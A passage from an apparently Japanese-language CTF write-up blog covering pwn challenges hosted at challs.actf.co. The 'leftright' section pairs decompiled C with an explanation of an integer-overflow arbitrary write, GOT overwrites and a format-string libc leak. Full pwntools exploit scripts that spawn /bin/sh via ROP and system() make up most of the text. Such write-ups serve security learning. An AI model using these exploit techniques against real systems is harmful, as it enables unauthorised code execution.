class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;:&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;%29$08pFIN&#39;</span><span>.ljust(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">10</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&#39;</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">404700</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(elf.sym[</span><span style="color: #9ECBFF;">&#39;main&#39;</span><span>]</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 88</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(elf.sym[</span><span style="color: #9ECBFF;">&#39;main&#39;</span><span>]))</span></span> <span class="giallo-l"><span> libc_base</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> int</span><span>(t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;FIN&#39;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">3</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>)</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">29e40</span></span> <span class="giallo-l"><span> libc.address</span><span style="color: #F97583;"> =</span><span> libc_base</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>libc_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> rop</span><span style="color: #F97583;"> =</span><span> ROP(libc)</span></span> <span class="giallo-l"><span> rop.execv(</span><span style="color: #79B8FF;">next</span><span>(libc.search(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;/bin/sh&#39;</span><span>)),</span><span style="color: #79B8FF;"> 0</span><span>)</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;:&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">18</span><span style="color: #F97583;"> +</span><span> rop.chain())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./chall.p&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./libc.so.6&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;challs.actf.co 31323&quot;</span><span>.split()</span></span> <span class="giallo-l"><span style="color: #F97583;">if</span><span> libc_name:</span></span> <span class="giallo-l"><span> libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre><h1 id="pwn-leftright">[pwn] leftright</h1> <h2 id="jie-xi-2">解析</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="plain"><span class="giallo-l"><span>[*] &#39;/home/user/ctf/left_right/leftright&#39;</span></span> <span class="giallo-l"><span> Arch: amd64-64-little</span></span> <span class="giallo-l"><span> RELRO: Partial RELRO</span></span> <span class="giallo-l"><span> Stack: Canary found</span></span> <span class="giallo-l"><span> NX: NX enabled</span></span> <span class="giallo-l"><span> PIE: PIE enabled</span></span></code></pre> <p>疑似コード</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">int</span><span> __fastcall </span><span style="color: #B392F0;">main</span><span>(</span><span style="color: #F97583;">int</span><span style="color: #FFAB70;"> argc</span><span>,</span><span style="color: #F97583;"> const char **</span><span style="color: #FFAB70;">argv</span><span>,</span><span style="color: #F97583;"> const char **</span><span style="color: #FFAB70;">envp</span><span>)</span></span> <span class="giallo-l"><span>{</span></span> <span class="giallo-l"><span style="color: #F97583;"> const char *</span><span>v3;</span><span style="color: #6A737D;"> // rdx</span></span> <span class="giallo-l"><span> __int16 </span><span style="color: #F97583;">*</span><span>v4;</span><span style="color: #6A737D;"> // rax</span></span> <span class="giallo-l"><span> __int16 v7;</span><span style="color: #6A737D;"> // [rsp+2h] [rbp-2Eh]</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> select;</span><span style="color: #6A737D;"> // [rsp+4h] [rbp-2Ch] BYREF</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> end;</span><span style="color: #6A737D;"> // [rsp+8h] [rbp-28h]</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> i;</span><span style="color: #6A737D;"> // [rsp+Ch] [rbp-24h]</span></span> <span class="giallo-l"><span style="color: #F97583;"> char</span><span style="color: #FFAB70;"> s</span><span>[</span><span style="color: #79B8FF;">24</span><span>];</span><span style="color: #6A737D;"> // [rsp+10h] [rbp-20h] BYREF</span></span> <span class="giallo-l"><span style="color: #F97583;"> unsigned</span><span> __int64 v12;</span><span style="color: #6A737D;"> // [rsp+28h] [rbp-8h]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> v12 </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> __readfsqword</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;">u</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> setbuf</span><span>(stdout,</span><span style="color: #79B8FF;"> 0</span><span style="color: #F97583;">LL</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;Name: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> fgets</span><span>(s,</span><span style="color: #79B8FF;"> 15</span><span>, stdin);</span></span> <span class="giallo-l"><span> v7 </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> arr</span><span>[</span><span style="color: #79B8FF;">0</span><span>]</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span><span>;</span></span> <span class="giallo-l"><span> end </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span> (</span><span style="color: #F97583;"> !</span><span>end )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span> select </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span style="color: #B392F0;"> __isoc99_scanf</span><span>(</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">%d</span><span style="color: #9ECBFF;">&quot;</span><span>,</span><span style="color: #F97583;"> &amp;</span><span>select);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> getchar</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> ( select </span><span style="color: #F97583;">==</span><span style="color: #79B8FF;"> 3</span><span> )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span> end </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 1</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> else if</span><span> ( select </span><span style="color: #F97583;">&lt;=</span><span style="color: #79B8FF;"> 3</span><span> )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> ( select </span><span style="color: #F97583;">==</span><span style="color: #79B8FF;"> 2</span><span> )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> arr</span><span>[v7]</span><span style="color: #F97583;"> =</span><span style="color: #B392F0;"> getchar</span><span>();</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> ( select )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> ( select </span><span style="color: #F97583;">!=</span><span style="color: #79B8FF;"> 1</span><span> )</span></span> <span class="giallo-l"><span style="color: #F97583;"> goto</span><span> LABEL_14;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #F97583;"> !</span><span>v7 )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;hey!&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> exit</span><span>(</span><span style="color: #79B8FF;">1</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> --</span><span>v7;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #F97583;"> ++</span><span>v7;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>LABEL_14:</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> ( i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt;=</span><span style="color: #79B8FF;"> 19</span><span>;</span><span style="color: #F97583;"> ++</span><span>i )</span></span> <span class="giallo-l"><span> {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> ( i )</span></span> <span class="giallo-l"><span> v3 </span><span style="color: #F97583;">=</span><span> (</span><span style="color: #F97583;">const char *</span><span>)asc_2014;</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span></span> <span class="giallo-l"><span> v3 </span><span style="color: #F97583;">=</span><span> (</span><span style="color: #F97583;">const char *</span><span>)</span><span style="color: #F97583;">&amp;</span><span>unk_2013;</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #FFAB70;"> arr</span><span>[i] )</span></span> <span class="giallo-l"><span> v4 </span><span style="color: #F97583;">= &amp;</span><span style="color: #FFAB70;">asc_2014</span><span>[</span><span style="color: #79B8FF;">1</span><span>];</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span></span> <span class="giallo-l"><span> v4 </span><span style="color: #F97583;">= &amp;</span><span style="color: #FFAB70;">asc_2014</span><span>[</span><span style="color: #79B8FF;">2</span><span>];</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">%s%s</span><span style="color: #9ECBFF;">&quot;</span><span>, (</span><span style="color: #F97583;">const char *</span><span>)v4, v3);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #B392F0;"> putchar</span><span>(</span><span style="color: #79B8FF;">10</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;bye&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(s);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> v12 </span><span style="color: #F97583;">-</span><span style="color: #B392F0;"> __readfsqword</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;">u</span><span>);</span></span> <span class="giallo-l"><span>}</span></span></code></pre> <p>グローバル変数<code>arr</code>が存在して、<code>arr[v7]</code>に任意の値を設定することができます。</p> <h2 id="cui-ruo-xing-2">脆弱性</h2> <p>疑似コードの<code>v7</code>は無限にインクリメントすることができます。つまり、Integer Overflowがあります。<br /> <code>__int16</code>であるため負数にすることができます。 <code>arr[v7]</code>を(概ね)任意のアドレスにすることができるため、任意書き込みのプリミティブが得られます。</p> <h2 id="gong-ji-2">攻撃</h2> <p><code>arr</code>の近く(アドレスがより低い方)にはGOTエントリが存在します。<code>v7</code> をOverflowさせてGOTエントリを書き換えることができます。 <br /> 具体的には、<code>exit</code>を書き換えることで何度でもmainを呼び出せるようにします。加えて、<code>puts</code> がwhileループを抜けたあとにしか呼ばれないことを利用して、<code>puts</code>のGOTエントリを<code>printf@plt</code>に書き換えることで<code>puts(s)</code> においてFSB脆弱性を発生させることができます。 \ 実際の攻撃手順は以下のとおりです。</p> <ol> <li><code>v7</code>をオーバーフローさせて<code>exit</code>と<code>puts</code>のGOTエントリをかきかえる。</li> <li><code>exit</code>を呼び出す(GOTの書き換えにより実際はmainを呼び出している)</li> <li>FSBを利用してlibc leak</li> <li>再び<code>v7</code>をオーバーフローさせて<code>puts</code>のGOTエントリを<code>system</code>に書き換える</li> <li><code>puts(s)</code>が<code>system('/bin/sh')</code>になり、シェルを取得</li> </ol> <h2 id="exploit-4">exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;INFO&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i: i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug([elf_name], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"><span style="color: #6A737D;"> # overwrite exit -&gt; main</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;/bin/sh</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">ffff</span><span style="color: #F97583;"> &amp;</span><span> (</span><span style="color: #F97583;">~0x</span><span style="color: #79B8FF;">78</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 1</span><span>)):</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> i</span><span style="color: #F97583;"> %</span><span style="color: #79B8FF;"> 1000</span><span style="color: #F97583;"> ==</span><span style="color: #79B8FF;"> 999</span><span>:</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>i</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #6A737D;"> # time.sleep(0.5)</span></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span> buf</span><span style="color: #F97583;"> :=</span><span> t.recv(</span><span style="color: #FFAB70;">timeout</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">0.5</span><span>):</span></span> <span class="giallo-l"><span style="color: #F97583;"> pass</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;2&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(p8(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">76</span><span>))</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">38</span><span>):</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;2&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(p8(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">b9</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;2&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(p8(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">11</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">100</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">c1</span><span>):</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span style="color: #79B8FF;"> True</span><span>:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> (buf</span><span style="color: #F97583;"> :=</span><span> t.recvn(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">10001</span><span>,</span><span style="color: #FFAB70;"> timeout</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">2</span><span>)):</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> input</span><span>(</span><span style="color: #9ECBFF;">&quot;OK?&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #6A737D;"> # second main</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;0&#39;</span><span>)</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;:&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;%41$p FIN&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;3&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #6A737D;"> # exit main</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;FIN&#39;</span><span>)</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> buf[buf.rfind(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;0x&#39;</span><span>):buf.rfind(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39; &#39;</span><span>)]</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>buf</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> libc_base</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> int</span><span>(buf,</span><span style="color: #79B8FF;"> 16</span><span>)</span><span style="color: #F97583;"> -</span><span style="color: #79B8FF;"> 171584</span></span> <span class="giallo-l"><span> libc.address</span><span style="color: #F97583;"> =</span><span> libc_base</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>libc_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">ffff</span><span style="color: #F97583;"> &amp;</span><span> (</span><span style="color: #F97583;">~0x</span><span style="color: #79B8FF;">78</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 1</span><span>)):</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> i</span><span style="color: #F97583;"> %</span><span style="color: #79B8FF;"> 2000</span><span style="color: #F97583;"> ==</span><span style="color: #79B8FF;"> 999</span><span>:</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>i</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> while</span><span> buf</span><span style="color: #F97583;"> :=</span><span> t.recv(</span><span style="color: #FFAB70;">timeout</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">0.5</span><span>):</span></span> <span class="giallo-l"><span style="color: #F97583;"> pass</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span> p64(libc.sym[</span><span style="color: #9ECBFF;">&#39;system&#39;</span><span>]):</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;2&#39;</span><span>)</span></span> <span class="giallo-l"><span> t.sendline(p8(i))</span></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;1&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.sendline(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;3&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./chall.p&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./libc.so.6&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;challs.actf.co 31324&quot;</span><span>.split()</span></span> <span class="giallo-l"><span style="color: #F97583;">if</span><span> libc_name:</span></span> <span class="giallo-l"><span> libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">while</span><span style="color: #79B8FF;"> True</span><span>:</span></span> <span class="giallo-l"><span> elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span> script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span> t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span style="color: #F97583;"> try</span><span>:</span></span> <span class="giallo-l"><span> solve()</span></span> <span class="giallo-l"><span style="color: #F97583;"> except</span><span>:</span></span> <span class="giallo-l"><span> t.close()</span></span></code></pre><h1 id="pwn-heapify">[pwn] heapify</h1> <h2 id="jie-xi-3">解析</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="plain"><span class="giallo-l"><span>[*] &#39;/home/user/ctf/left_right/chall.p&#39;</span></span> <span class="giallo-l"><span> Arch: amd64-64-little</span></span> <span class="giallo-l"><span> RELRO: Partial RELRO</span></span> <span class="giallo-l"><span> Stack: 